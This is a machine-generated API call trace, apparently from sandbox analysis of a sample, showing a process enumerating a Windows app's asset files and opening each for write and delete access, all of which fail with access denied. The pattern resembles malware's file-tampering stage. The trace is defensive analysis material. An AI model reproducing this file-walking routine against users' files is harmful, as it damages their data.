	[0090.724] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Logo.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\logo.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.724] GetLastError () returned 0x5
	[0090.724] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Logo.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.724] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477df50) returned 1
	[0090.724] FindNextFileW (in: hFindFile=0x46a6c90, lpFindFileData=0x4713a80 | out: lpFindFileData=0x4713a80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28a41a64, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x28a41a64, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x28a41a64, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x0, cFileName="send.white.png", cAlternateFileName="")) returned 1
	[0090.724] wcscmp (_String1="send.white.png", _String2=".") returned 1
	[0090.724] wcscmp (_String1="send.white.png", _String2="..") returned 1
	[0090.724] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xce) returned 0x2e12b90
	[0090.724] wcscpy (in: _Dest=0x2e12b90, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.724] wcscat (in: _Dest=0x2e12b90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.724] wcscat (in: _Dest=0x2e12b90, _Source="send.white.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\send.white.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\send.white.png"
	[0090.724] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\send.white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\send.white.png")) returned 0x20
	[0090.728] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\send.white.png", dwFileAttributes=0x20) returned 0
	[0090.729] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\send.white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\send.white.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.729] GetLastError () returned 0x5
	[0090.729] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\send.white.png", dwFileAttributes=0x20) returned 0
	[0090.729] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12b90) returned 1
	[0090.729] FindNextFileW (in: hFindFile=0x46a6c90, lpFindFileData=0x4713a80 | out: lpFindFileData=0x4713a80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28a67cbd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x28a67cbd, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x28a67cbd, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x206, dwReserved0=0x0, dwReserved1=0x0, cFileName="SmallLogo.scale-200.png", cAlternateFileName="")) returned 1
	[0090.729] wcscmp (_String1="SmallLogo.scale-200.png", _String2=".") returned 1
	[0090.729] wcscmp (_String1="SmallLogo.scale-200.png", _String2="..") returned 1
	[0090.729] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4e32c50
	[0090.729] wcscpy (in: _Dest=0x4e32c50, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.729] wcscat (in: _Dest=0x4e32c50, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.729] wcscat (in: _Dest=0x4e32c50, _Source="SmallLogo.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\SmallLogo.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\SmallLogo.scale-200.png"
	[0090.729] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\SmallLogo.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\smalllogo.scale-200.png")) returned 0x20
	[0090.732] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\SmallLogo.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.732] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\SmallLogo.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\smalllogo.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.732] GetLastError () returned 0x5
	[0090.732] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\SmallLogo.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.732] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4e32c50) returned 1
	[0090.732] FindNextFileW (in: hFindFile=0x46a6c90, lpFindFileData=0x4713a80 | out: lpFindFileData=0x4713a80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28a67cbd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabb22dfb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28a67cbd, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sounds", cAlternateFileName="")) returned 1
	[0090.732] wcscmp (_String1="Sounds", _String2=".") returned 1
	[0090.732] wcscmp (_String1="Sounds", _String2="..") returned 1
	[0090.732] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x4925838
	[0090.732] wcscpy (in: _Dest=0x4925838, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.732] wcscat (in: _Dest=0x4925838, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.732] wcscat (in: _Dest=0x4925838, _Source="Sounds" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Sounds") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Sounds"
	[0090.732] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x4718b70
	[0090.732] wcscpy (in: _Dest=0x4718b70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Sounds" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Sounds") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Sounds"
	[0090.732] wcscat (in: _Dest=0x4718b70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\"
	[0090.732] wcscat (in: _Dest=0x4718b70, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\*"
	[0090.732] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502aed0
	[0090.732] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\*", lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28a67cbd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabb22dfb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28a67cbd, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477a9a8
	[0090.733] wcscmp (_String1=".", _String2=".") returned 0
	[0090.733] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28a67cbd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xabb22dfb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x28a67cbd, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0090.733] wcscmp (_String1="..", _String2=".") returned 1
	[0090.733] wcscmp (_String1="..", _String2="..") returned 0
	[0090.733] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28a67cbd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x28a8df1b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x28a8df1b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x8877, dwReserved0=0x0, dwReserved1=0x0, cFileName="Nudge.wma", cAlternateFileName="")) returned 1
	[0090.733] wcscmp (_String1="Nudge.wma", _String2=".") returned 1
	[0090.733] wcscmp (_String1="Nudge.wma", _String2="..") returned 1
	[0090.733] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x477eb90
	[0090.733] wcscpy (in: _Dest=0x477eb90, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Sounds" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Sounds") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Sounds"
	[0090.733] wcscat (in: _Dest=0x477eb90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\"
	[0090.733] wcscat (in: _Dest=0x477eb90, _Source="Nudge.wma" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\Nudge.wma") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\Nudge.wma"
	[0090.733] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\Nudge.wma" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\sounds\\nudge.wma")) returned 0x20
	[0090.735] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\Nudge.wma", dwFileAttributes=0x20) returned 0
	[0090.736] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\Nudge.wma" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\sounds\\nudge.wma"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.736] GetLastError () returned 0x5
	[0090.736] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Sounds\\Nudge.wma", dwFileAttributes=0x20) returned 0
	[0090.736] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477eb90) returned 1
	[0090.736] FindNextFileW (in: hFindFile=0x477a9a8, lpFindFileData=0x502aed0 | out: lpFindFileData=0x502aed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28a67cbd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x28a8df1b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x28a8df1b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x8877, dwReserved0=0x0, dwReserved1=0x0, cFileName="Nudge.wma", cAlternateFileName="")) returned 0
	[0090.736] FindClose (in: hFindFile=0x477a9a8 | out: hFindFile=0x477a9a8) returned 1
	[0090.736] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502aed0) returned 1
	[0090.736] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718b70) returned 1
	[0090.736] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4925838) returned 1
	[0090.736] FindNextFileW (in: hFindFile=0x46a6c90, lpFindFileData=0x4713a80 | out: lpFindFileData=0x4713a80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28a8df1b, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x28a8df1b, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x28a8df1b, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x254, dwReserved0=0x0, dwReserved1=0x0, cFileName="Square71x71Logo.scale-200.png", cAlternateFileName="")) returned 1
	[0090.736] wcscmp (_String1="Square71x71Logo.scale-200.png", _String2=".") returned 1
	[0090.736] wcscmp (_String1="Square71x71Logo.scale-200.png", _String2="..") returned 1
	[0090.736] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xec) returned 0x491b930
	[0090.736] wcscpy (in: _Dest=0x491b930, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.736] wcscat (in: _Dest=0x491b930, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.736] wcscat (in: _Dest=0x491b930, _Source="Square71x71Logo.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Square71x71Logo.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Square71x71Logo.scale-200.png"
	[0090.737] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Square71x71Logo.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\square71x71logo.scale-200.png")) returned 0x20
	[0090.745] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Square71x71Logo.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.745] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Square71x71Logo.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\square71x71logo.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.745] GetLastError () returned 0x5
	[0090.745] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\Square71x71Logo.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.745] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491b930) returned 1
	[0090.745] FindNextFileW (in: hFindFile=0x46a6c90, lpFindFileData=0x4713a80 | out: lpFindFileData=0x4713a80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28ab4174, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x28ab4174, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x28ab4174, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x55e, dwReserved0=0x0, dwReserved1=0x0, cFileName="starttile.dualsim1.sad.scale-200.png", cAlternateFileName="")) returned 1
	[0090.745] wcscmp (_String1="starttile.dualsim1.sad.scale-200.png", _String2=".") returned 1
	[0090.746] wcscmp (_String1="starttile.dualsim1.sad.scale-200.png", _String2="..") returned 1
	[0090.746] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfa) returned 0x5027198
	[0090.746] wcscpy (in: _Dest=0x5027198, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.746] wcscat (in: _Dest=0x5027198, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.746] wcscat (in: _Dest=0x5027198, _Source="starttile.dualsim1.sad.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.sad.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.sad.scale-200.png"
	[0090.746] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.sad.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\starttile.dualsim1.sad.scale-200.png")) returned 0x20
	[0090.749] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.sad.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.749] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.sad.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\starttile.dualsim1.sad.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.749] GetLastError () returned 0x5
	[0090.749] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.sad.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.749] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5027198) returned 1
	[0090.749] FindNextFileW (in: hFindFile=0x46a6c90, lpFindFileData=0x4713a80 | out: lpFindFileData=0x4713a80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28ada3d2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x28ada3d2, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x28ada3d2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3d6, dwReserved0=0x0, dwReserved1=0x0, cFileName="starttile.dualsim1.sad.small.scale-200.png", cAlternateFileName="")) returned 1
	[0090.749] wcscmp (_String1="starttile.dualsim1.sad.small.scale-200.png", _String2=".") returned 1
	[0090.749] wcscmp (_String1="starttile.dualsim1.sad.small.scale-200.png", _String2="..") returned 1
	[0090.749] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x106) returned 0x47174b8
	[0090.749] wcscpy (in: _Dest=0x47174b8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets"
	[0090.749] wcscat (in: _Dest=0x47174b8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\"
	[0090.749] wcscat (in: _Dest=0x47174b8, _Source="starttile.dualsim1.sad.small.scale-200.png" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.sad.small.scale-200.png") returned="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.sad.small.scale-200.png"
	[0090.749] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.sad.small.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\starttile.dualsim1.sad.small.scale-200.png")) returned 0x20
	[0090.753] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.sad.small.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.753] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.sad.small.scale-200.png" (normalized: "c:\\program files\\windowsapps\\microsoft.messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\assets\\starttile.dualsim1.sad.small.scale-200.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0090.754] GetLastError () returned 0x5
	[0090.754] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Messaging_3.26.24002.0_x64__8wekyb3d8bbwe\\Assets\\starttile.dualsim1.sad.small.scale-200.png", dwFileAttributes=0x20) returned 0
	[0090.754] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47174b8) returned 1
	[0090.754] FindNextFileW (in: hFindFile=0x46a6c90, lpFindFileData=0x4713a80 | out: lpFindFileData=0x4713a80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28ada3d2, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x28ada3d2, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x28ada3d2, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="starttile.dualsim1.scale-200.png", cAlternateFileName="")) returned 1
	[0090.754] wcscmp (_String1="starttile.dualsim1.scale-200.png", _String2=".") returned 1
	[0090.754] wcscmp (_String1="starttile.dualsim1.scale-200.png", _String2="..") returned 1
	[0090.754] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf2) returned 0x4776760
